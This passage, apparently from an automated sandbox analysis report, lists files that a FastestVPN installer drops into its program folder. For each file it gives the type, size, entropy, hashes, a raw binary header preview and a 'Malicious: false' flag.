                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...W/%..........." ..0.............^;... ...@....... ..............................}.....`..................................;..O....@...............$...*...`......l:..8............................................ ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................>;......H........$..............................................................F.(....r...p(....*..{....*"..}....*..0...........s......r...po....&.r-..p.(....o....(....o....&.rI..p.(....o....r_..p(....o....&.rg..p.(....o....(....o....&.(......,...ru..po....&..r...po....&.r...po....&.r...p.(....o....(....o....&.r...po....&.r...p.(....o....r...p(....o....&.(....o.....o....( ....*..r...p.(....o!...r...p(....r...p.(....o....r...p(....("...&*..r?..prK..p.(.........(#...("...&*..r?..pr...

                                                                                                                    C:\Program Files\FastestVPN\VPN.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):18088
                                                                                                                    Entropy (8bit):6.784018634948529
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:4iqjQN+Pw2X6VUYNVYuKAiIYiUOX0FP27NBY3Yuv+WO:fqjQ8f5uKAvYidgK/Y/+X
                                                                                                                    MD5:CD6CB12E677F6C45BBFE57DED6C90567
                                                                                                                    SHA1:C13525F597974BA46B4B2A71F270B1056332F77B
                                                                                                                    SHA-256:FA0E1B932B5548F39795B9C24106B48D6221600EA7679D6A1D1DEEED1C8D7D8C
                                                                                                                    SHA-512:6D9DC73035F3C053281C9347131C8EF232797507F28271B60428FCA4A82CC43689BF1FA3E6DCE46AE92BC3C0E924745F81E315D2E4D4BD2F5D7991DC78A58FBD
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X4y..........." ..0.............n3... ...@....... ....................................`..................................3..O....@..H................*...`.......2..8............................................ ............... ..H............text...t.... ...................... ..`.rsrc...H....@......................@..@.reloc.......`......................@..B................N3......H........#................................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..(........%-.&r...ps....z(.......(.....*.0..................,..rM..ps....z.(.........,...(....o.......(.......(.....s....o.........(....(......(....o......(....o........&..(.....r...ps....o........*..........tu.......0..B..........(....%-.&+.o.......*&..(.....(....%-.&.+.(......s....o........*.............*.....0..B..........(....%-.&+.o ......*&..(.....

                                                                                                                    C:\Program Files\FastestVPN\WpfAnimatedGif.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):53416
                                                                                                                    Entropy (8bit):6.326182355914875
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:x0Gl7W1UiZTo1ooEqTh0sq/s/MnBOyvUPrYZbkchJYi/S8K/Y/+A:6qQpZTsooEah0sqU/by4UZzhJ7K8K/S
                                                                                                                    MD5:C4BC370961A9E628E64B8FF4586D4DA6
                                                                                                                    SHA1:B391F6A1A54B693F14BA7E8CD58DD8976CDDC992
                                                                                                                    SHA-256:097B7F6F9ED8B63F0E725DE28D6842F6AC93D8105E441C7498385FAAD243A8C1
                                                                                                                    SHA-512:169FD48C453BC95D33137BDAA22225B483CF9BF73CBCE9AFB5B6BF63B62300CC98A968F1D825348CDB8C786232B66D62247659FD809B6B0D7BCBF26C7B4519A4
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.................. ........... ....................................@.................................J...O.......$................*..........h...T............................................ ............... ..H............text........ ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B................~.......H........H..Hq...........................................................{....*..{....*V.(......}......}....*...0..A........u........4.,/(.....{.....{....o....,.(.....{.....{....o....*.*.*. ...' )UU.Z(.....{....o....X )UU.Z(.....{....o....X*...0..b........r...p......%..{.......%q.........-.&.+.......o ....%..{.......%q.........-.&.+.......o ....(!...*...0..2..........(....~.......o"...-.~.....s#...%.o$.....o%...&*...0..A..........(....~.......o"...,)..o&..., .o'...-.~.....o(

                                                                                                                    C:\Program Files\FastestVPN\app-icon.ico (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):15086
                                                                                                                    Entropy (8bit):3.1108966039740653
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:96:FajQ4xW97nzsbzW+0eTODzfHvt0K/UrPdlMoi5U:FTd7nzsbyyqvt1/URiby
                                                                                                                    MD5:BC1059DA39659B80A09C994AE6DB5DB7
                                                                                                                    SHA1:D7E9D74133C98F897B94C42F09B93F10E3274EDB
                                                                                                                    SHA-256:9543C96124919AE5B672FD7C23CCF5946A37FBB83A174112A33DA9FF37449B43
                                                                                                                    SHA-512:F88CD2EC86E52EF31C471E580A9733D7DAAA7E3062C7DBCAAF9E50308934A4B679B364A4C1372D9021D9F5A504D5C310B8F631799AFA3248878B4F55A6CB704B
                                                                                                                    Malicious:false
                                                                                                                    Preview:............ .h...6... .... .........00.... ..%..F...(....... ..... .....@...................................2..A!...........................................................3..#.... ..-...................................................................m....................................................`.............. ................................................... ..]...............G........................................................ ...!...&...,{..........................7...................!...!... ... ......U....................U...+.../...,...'.......................,..7....................4..7(...)...-...4...@...>...2...........N.......................*..M&...*.......0...7...Y...j...r...?..i............................(..M...............................................................`...!..}..............._................................................0..!"..............5.......................................................I......................................

                                                                                                                    C:\Program Files\FastestVPN\fix-dns-leak-32.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):25768
                                                                                                                    Entropy (8bit):6.8288213942048985
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:tNjMaZomdl7FUC9mhsCVoNycrjIg9J197j26QIYidYFl0FP27NBY3Yuv+tiV:tHhShzuD/Bpa65YiGFuK/Y/+tiV
                                                                                                                    MD5:37E6E1D07988932C4360D74A34B27AE9
                                                                                                                    SHA1:F53AE2462ECC565EFCC28D1C5BB2C285BF899798
                                                                                                                    SHA-256:7E321840FA4F112D0F117D8F4E4DDCA274829693CD1C1189CE1061B6F67550FF
                                                                                                                    SHA-512:EFB94F19A885D20BF602AFE84CDD4FE5E9CE89B3A5B7D0BD5273546A6B5D894AD6F1359545DC6B2EEDE06FCB06790286CB69EFB153F249D7D8EF0C677C5D1B3A
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4.a.pi.Hpi.Hpi.H68.Hri.H68.H|i.H68.Hri.H68.Hti.H...Hqi.H...Hyi.Hpi.HFi.H};.Hsi.H};.Hqi.H};.Hqi.H};.Hqi.HRichpi.H........PE..L....q.Z...........!.................$.......0...............................p............@..........................7......D:.......P...............:...*...`..x...................................p4..@............0...............................text............................... ..`.rdata.......0......."..............@..@.data...\....@.......2..............@....rsrc........P.......4..............@..@.reloc..x....`.......6..............@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\iphelperclose.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):116872
                                                                                                                    Entropy (8bit):6.726218253535254
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:8tw0r3S8FpUCSBCLiXdb0NphY3kWlon6ZhPn8agN6K/p:8mWi8FpCBCLybQakA/Pn8agNj/p
                                                                                                                    MD5:B9F4D43230B7FB66B95AF05DC03B32DE
                                                                                                                    SHA1:56F868C56FFF836CA61055499988F965DCA37D26
                                                                                                                    SHA-256:A103634B16841E3A68DD4A6BCBDFC3A1651B8C9F1114D99BF01CA31297664E21
                                                                                                                    SHA-512:50EB5DE7D0A1B5D7E1AC38209488635EF77733C2C78DC39D0D473904128DBFC67D4E3EC388D2C2D79645AFDF03FD1965386F6E6D21553C9A6DAB07A58549FD1E
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V.n.7.=.7.=.7.=.S.<.7.=.S.<o7.=.S.<.7.=._.<.7.=._.<.7.=._.<.7.=.S.<.7.=.7.=.7.=._.<.7.=._.<.7.=._3=.7.=._.<.7.=Rich.7.=........................PE..L...q._]...........!................O........0............................................@.............................T.......<.......................................p...............................@............0...............................text............................... ..`.rdata..4g...0...h..................@..@.data...4...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\is-10HRM.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):19112
                                                                                                                    Entropy (8bit):6.821071301483957
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:LVVVVVwhr+vtlzIYilpm0FP27NBY3Yuv+Z:LVVVVVwhKvtl8YijnK/Y/+Z
                                                                                                                    MD5:64E2269D156CA2AA5704E2E0908506F9
                                                                                                                    SHA1:0F7D6EECE52D8A9A91E389736BE1092739AA3014
                                                                                                                    SHA-256:B012720952E3FE9CB303E9EDB4314F924CB388D9C24FB63A968A3479113B665D
                                                                                                                    SHA-512:C845E7EB96ED29C564C28D42F07F5EB81C27568F0F89C343533384BF8E704B99566EA073E46259D9F3740A7A3D41AAB5BFA78AEAB05697100B3A179F5C1EDFB6
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c............" ..0..............6... ...@....... ..............................hj....`.................................16..O....@............... ...*...`......t5..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................e6......H.......("..L............................................................~....*.......*..s....*..s....*..0..B.......(....,.*s....(....(....(....(....(....(.....(....(....(.....(....*..(...+*F.(...+(...+(...+*F.(...+(...+(...+*F.(...+(...+(...+*.0..f........(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+*..(...+*...0...........-..*....8.......%o.....%o.....o........E........ ...>...+X..(....-...(....+....(......+:..(....-...

                                                                                                                    C:\Program Files\FastestVPN\is-1MJTU.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):117928
                                                                                                                    Entropy (8bit):6.160360774488817
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:Hzne5lbC/VlCG2OWMMdWWbWbWw+Hfz+8lKbchOD07PQCFP1IYmDe/WAbBuhEK/a:HFO4WMMdWWbWbWw+Hfz+8lKbchOD07PP
                                                                                                                    MD5:FDFDFE021B53B630939D27C6C90CB435
                                                                                                                    SHA1:AA0987A6EA6987BB9930B9167EC31C249EF9D885
                                                                                                                    SHA-256:D753A7EF62BABC2ADB5D1DBEB0BEBAA2B042CC01CC219726F32F761BBB0A711D
                                                                                                                    SHA-512:1FD0C74D0ED3AC4DF26D3E95C0F133E8024D77D1FD06E0C76C630D6AAC7B81124AA1DCA7CFFAC43BC34252A057414F8C3F8EC63A805323B1EF892B5F6A277D3B
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....8............" ..0................. ........... ..............................U.....`.................................w...O........................*..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.........................................................................{ ...*..{!...*V.(".....} .....}!...*...0..A........u........4.,/(#....{ ....{ ...o$...,.(%....{!....{!...o&...*.*.*. '.(k )UU.Z(#....{ ...o'...X )UU.Z(%....{!...o(...X*...0..b........r...p......%..{ ......%q.........-.&.+.......o)....%..{!......%q.........-.&.+.......o)....(*...*>..su...%.}^...*...0...........(+...,..*...(....o.....8t....o......-2.{,....{-.....g...%..".o.....(/...s0...sk....88....{,...r

                                                                                                                    C:\Program Files\FastestVPN\is-28L78.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):159368
                                                                                                                    Entropy (8bit):6.32384599449582
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:OcqXDYZbIkCKezJaoCNVljUmcmAs6Jm4AFt2iPaTatnhrOKK/E:9qbKwcB4njeXBSTcpOT/E
                                                                                                                    MD5:7AE17C855F3CC63174E90EA527B6138B
                                                                                                                    SHA1:0FE1E1B2252511F33EDA3FFCF1F8FC8586AB040A
                                                                                                                    SHA-256:26FF04208EC4D26EF4DDD9B3CF01C4D2A1544550BCD59EFDE6F30170053A1170
                                                                                                                    SHA-512:453BA41332A704F491FC9E1EE5FBE9F883EDDB4C26A71D207C93992726E9C5B7FEDC48EEEE2A2087F64B083F9473EE794FB2C8F3B77C9DBCBBC47B67816BD156
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y..............Y.......................................................................Rich....................PE..L.....[...........!.........................................................`..................................................P.... ..`............@.......0..(...0...............................0...@............................................text....w.......................... ..`.rdata...A.......P..................@..@.data....6....... ..................@....rsrc...`.... ......................@..@.reloc..2(...0...0..................@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\is-2MRML.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):711952
                                                                                                                    Entropy (8bit):5.967185619483575
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:GBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUO:GBjk38WuBcAbwoA/BkjSHXP36RMG/
                                                                                                                    MD5:195FFB7167DB3219B217C4FD439EEDD6
                                                                                                                    SHA1:1E76E6099570EDE620B76ED47CF8D03A936D49F8
                                                                                                                    SHA-256:E1E27AF7B07EEEDF5CE71A9255F0422816A6FC5849A483C6714E1B472044FA9D
                                                                                                                    SHA-512:56EB7F070929B239642DAB729537DDE2C2287BDB852AD9E80B5358C74B14BC2B2DDED910D0E3B6304EA27EB587E5F19DB0A92E1CBAE6A70FB20B4EF05057E4AC
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... ............`....................................O......................../.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(....*..(....*^.(...........%...}....*:.(......}....*:.(......}....*..(....*:.(......}....*..{....*..(....*..(....*:.(......}....*..{....*.(.........*....}.....(......{.....X.....}....*..0...........-.~....*.~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..|....(......._..{........+,..{|....3...{{......(....,...{{...*..{}.......-..*...0...........-.r...ps....z.o......-.~....*.~....

                                                                                                                    C:\Program Files\FastestVPN\is-2UQE3.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):3316968
                                                                                                                    Entropy (8bit):6.532906510598102
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:49152:JIBbo0WIgmjljFtXCdRLRBcJd+KaGxHIkMNqzP56O8lZ7qXUqi9Y:6BbBWIgWljGxRB/LLY
                                                                                                                    MD5:0CF454B6ED4D9E46BC40306421E4B800
                                                                                                                    SHA1:9611AA929D35CBD86B87E40B628F60D5177D2411
                                                                                                                    SHA-256:E51721DC0647F4838B1ABC592BD95FD8CB924716E8A64F83D4B947821FA1FA42
                                                                                                                    SHA-512:85262F1BC67A89911640F59A759B476B30CA644BD1A1D9CD3213CC8AAE16D7CC6EA689815F19B146DB1D26F7A75772CEB48E71E27940E3686A83EB2CF7E46048
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R............" ..0..r2..........&1.. ....2...... ........................2.....6Q3...@.................................G&1.O.....2..............|2.. ....2.....X.(.p............................................ ............... ..H............text....p2.. ...r2................. ..`.rsrc.........2......t2.............@..@.reloc........2......z2.............@..B................{&1.....H...........$....................(.....................................V!........s.........*.~....-*(....o....o....o.........~....-.~.........~....*..( ...*...0..G.......(!....o"....s.1....s*,..%..(.... ....o.....o 0...Zo....t....o8(..(....*..0..$..........(.....(....o.....(!.......io#...*z...(....(!....o"...o....(....*..0............T....r...p.(O....o$....(....*..0..I.......sG...sB)..s.(..s.(...(....s6(....,..o%....2...(....sV(....+.....%..ox...*..( ...*V.(&.....}......}..

                                                                                                                    C:\Program Files\FastestVPN\is-3211D.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):124072
                                                                                                                    Entropy (8bit):6.169344446608534
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:LurAkSCDvkOtt+niUnQY8/LFEMnK8VQW5K/7:LJkSCDv+iUnQXLFEEM/7
                                                                                                                    MD5:2DC3102392DAEF9B935CDF4939A9B132
                                                                                                                    SHA1:F56261CE19BFC14F8317C2AA05F010E9ACFBCE02
                                                                                                                    SHA-256:B6D9088505C220F23132D78675004BC31E0FB5C04257357C2B02072EF8C28DAD
                                                                                                                    SHA-512:596AFAA1347CF730D2D0312857366EE3AD4C5C439E2F93BD6D38B29129C7B3530523B206FAEEF1DB3F6D9A18482162FF56321C9F1A1FA4F296F6B29AE8659321
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q............" ..0.................. ........... ....................... ......Q.....`.....................................O........................*..............8............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......d................................................................0...........s....%r...pr...po....%rk..pru..po....%r...pr...po....}......(....(...+o.....(...+o.......o....r!..p.o....(....}......o....}......o....}......o....}.....(....r%..p( ...-..(....re..p( ...,...}....*..}....*..{....*..{....*..{....*..{....*..{....*J.......s!...s:...*.~....%-.&~..........s!...%.....s:...*J.......s"...s#...*J.......s!...s:...*..0..........(...+o$.....E........9...^...*.r...pr...pr..

                                                                                                                    C:\Program Files\FastestVPN\is-380D9.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):16768
                                                                                                                    Entropy (8bit):6.361391591273708
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:LGLxTyHvc4ROgcxAdWXYWJeaPtWsI9A9GaHnhWgN7aJeWw0fnCsqnajt:LgGLROZAdWXYW8aPcyHRN7WEqn1lx
                                                                                                                    MD5:DA04A75DDC22118ED24E0B53E474805A
                                                                                                                    SHA1:2D68C648A6A6371B6046E6C3AF09128230E0AD32
                                                                                                                    SHA-256:66409F670315AFE8610F17A4D3A1EE52D72B6A46C544CEC97544E8385F90AD74
                                                                                                                    SHA-512:26AF01CA25E921465F477A0E1499EDC9E0AC26C23908E5E9B97D3AFD60F3308BFBF2C8CA89EA21878454CD88A1CDDD2F2F0172A6E1E87EF33C56CD7A8D16E9C8
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^...........!................^2... ...@....@.. ...............................y....@..................................2..S....@...................#...`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@2......H........#..@...................P ......................................{.v.`)!.t..@.62C<.=...h....X..}.`v.r...g.e...yXa.dat.mwQ.XdJ...M..`..J...$|.j.6W.U.3.r.A.h.....9Q..|..,<g..gy..6V9o%..Gd.r.0...........q....*..0..............q....*...0..............q....*...0.................*.0....................*..0....................*..0............q.........*....0............q.........*....0............*..0................*..0...............*...0...............*...0..........

                                                                                                                    C:\Program Files\FastestVPN\is-3A406.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):108200
                                                                                                                    Entropy (8bit):7.332504567097915
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:Gn5VJM3T5szyxa9PuIKb8wmtyYVzH0cfNbQSi/GoP4YNjZ34A7GZK/ZIVQ:GWsEa9GIdyAUKWeYNl34AwK/ZV
                                                                                                                    MD5:261A5044C94F318DEEA20D178ED9F36E
                                                                                                                    SHA1:2A9704F70A543EE219481A3AA756A0CF151E1999
                                                                                                                    SHA-256:D17E9B0C62C224D1BA56E7206D8A44FE382FE99752C511BA211A7725D83FEF43
                                                                                                                    SHA-512:E53C320DBF6B2AAEEC01FE5AFF1FAD5A8D75B2483A78BA0E1B510F2A7A8C5C510ACD603541734F4A002748D0781FC11AFBF6967EBCDB41A6FC9A29C828ABC2A3
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l.g..........." ..0..p.............. ........... ....................................`.....................................O....................|...*..............p............................................ ............... ..H............text....n... ...p.................. ..`.rsrc................r..............@..@.reloc...............z..............@..B........................H........O..|w..................,.......................................V!.)1......s.........*...0..$........u......,...o....*.u......,...o....*.0..&........u......,....o ...*.u......,....o!...*...0..&........u......,....o"...*.u......,....o#...*B.(Y...-.(....*.*..{!...*"..}!...*>.{....o.......*.0..9........(*.....($.....(......,..o%...-..,..o&...-..,..o%...*.*.*....0...........s'...}.....((....(....-..s....+.(....}......{....o....(....}.....(!....{...........s)...o.....{....

                                                                                                                    C:\Program Files\FastestVPN\is-51N13.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):26752
                                                                                                                    Entropy (8bit):6.512503595653532
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:DulwnBhYlTVv2wK5idcgF4of1n6K9zUYJ:ywHYFtKYdcg/f1nXzUYJ
                                                                                                                    MD5:970B6E6478AE3AB699F277D77DE0CD19
                                                                                                                    SHA1:5475CB28998D419B4714343FFA9511FF46322AC2
                                                                                                                    SHA-256:5DC372A10F345B1F00EC6A8FA1A2CE569F7E5D63E4F1F8631BE367E46BFA34F4
                                                                                                                    SHA-512:F3AD2088C5D3FCB770C6D8212650EED95507E107A34F9468CA9DB99DEFD8838443A95E0B59A5A6CB65A18EBBC529110C5348513A321B44223F537096C6D7D6E0
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$:............" ..0..4...........S... ...`....... ....................................`..................................S..O....`...............@...(...........R..T............................................ ............... ..H............text....3... ...4.................. ..`.rsrc........`.......6..............@..@.reloc...............>..............@..B.................S......H........'..P*..................,R........................................(....*..(....*^.(.......1...%...}....*:.(......}....*:.(......}....*:.(......}....*:.(......}....*..(....*..(....*..(....*..(....*:.(......}....*..{....*:.(......}....*..{....*:.(......}....*..{....*..(....*:.(......}....*..{....*^.(.......2...%...}....*:.(......}....*..{....*z.(......}.......2...%...}....*V.(......}......}....*..{....*..{....*:.(......}....*..{....*..{....*"..}....*..{....*"..}....*..{

                                                                                                                    C:\Program Files\FastestVPN\is-6S3D1.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):18088
                                                                                                                    Entropy (8bit):6.784018634948529
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:4iqjQN+Pw2X6VUYNVYuKAiIYiUOX0FP27NBY3Yuv+WO:fqjQ8f5uKAvYidgK/Y/+X
                                                                                                                    MD5:CD6CB12E677F6C45BBFE57DED6C90567
                                                                                                                    SHA1:C13525F597974BA46B4B2A71F270B1056332F77B
                                                                                                                    SHA-256:FA0E1B932B5548F39795B9C24106B48D6221600EA7679D6A1D1DEEED1C8D7D8C
                                                                                                                    SHA-512:6D9DC73035F3C053281C9347131C8EF232797507F28271B60428FCA4A82CC43689BF1FA3E6DCE46AE92BC3C0E924745F81E315D2E4D4BD2F5D7991DC78A58FBD
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X4y..........." ..0.............n3... ...@....... ....................................`..................................3..O....@..H................*...`.......2..8............................................ ............... ..H............text...t.... ...................... ..`.rsrc...H....@......................@..@.reloc.......`......................@..B................N3......H........#................................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..(........%-.&r...ps....z(.......(.....*.0..................,..rM..ps....z.(.........,...(....o.......(.......(.....s....o.........(....(......(....o......(....o........&..(.....r...ps....o........*..........tu.......0..B..........(....%-.&+.o.......*&..(.....(....%-.&.+.(......s....o........*.............*.....0..B..........(....%-.&+.o ......*&..(.....

                                                                                                                    C:\Program Files\FastestVPN\is-7IV9U.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):35496
                                                                                                                    Entropy (8bit):6.3704146545353355
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:yS78zRHlzbzaxUxU7y7y7y7S7CxUxU7y3K7yTyTTN77xNTOLSxY777DKoRREEK79:yS7DOOqf1RuhC5w78K/m
                                                                                                                    MD5:26592109F19A24EE91F039EBB40038C4
                                                                                                                    SHA1:C8846404EFEB44C6CBB242B4C107F7CCE865AD14
                                                                                                                    SHA-256:E3F74128991C128410498223D4185915528360AD3DA92CD01BC23B19D8C2C670
                                                                                                                    SHA-512:8B031C53F5529D50A80AE2A4803D7C34F9A71A54DA01A912D1DB4D77D9BC1F490AB634A32F2DF6009EB53A2E57CD21975F3E00AF111BFA8320DE550A17509CA1
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...>............." ..0..X...........v... ........... ...............................S....`..................................v..O....................`...*...........v..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................v......H........3...B...........................................................0.................(n...........................s)...}................s%...}................s....}................s....}................s....}................s....} ...............s!...}!...............s....}"...............s....}#...............s=...}$...............s9...}%...............s5...}&...............sA...}'...............sE...}(...............s-...})...............s1...}*........(....(....(....

                                                                                                                    C:\Program Files\FastestVPN\is-83481.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):301224
                                                                                                                    Entropy (8bit):5.823114295644
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:I856+Aq4WBT5TjbyfQ5d2ap3BES3l+3p7z8p5+cyIqrKMjE3g2AJX5ex4uyj0bOa:v56+Aq4WBTWpSqXhpeEioU2Uh/b
                                                                                                                    MD5:4798226EE22C513302EE57D3AA94398B
                                                                                                                    SHA1:F42C6CFA4068263D955608DE47E60D099AD8B394
                                                                                                                    SHA-256:38F32C75433A2AF902D33511BC3BBBE5BBF66D87FEC7D3AD1694AECEEB7E485E
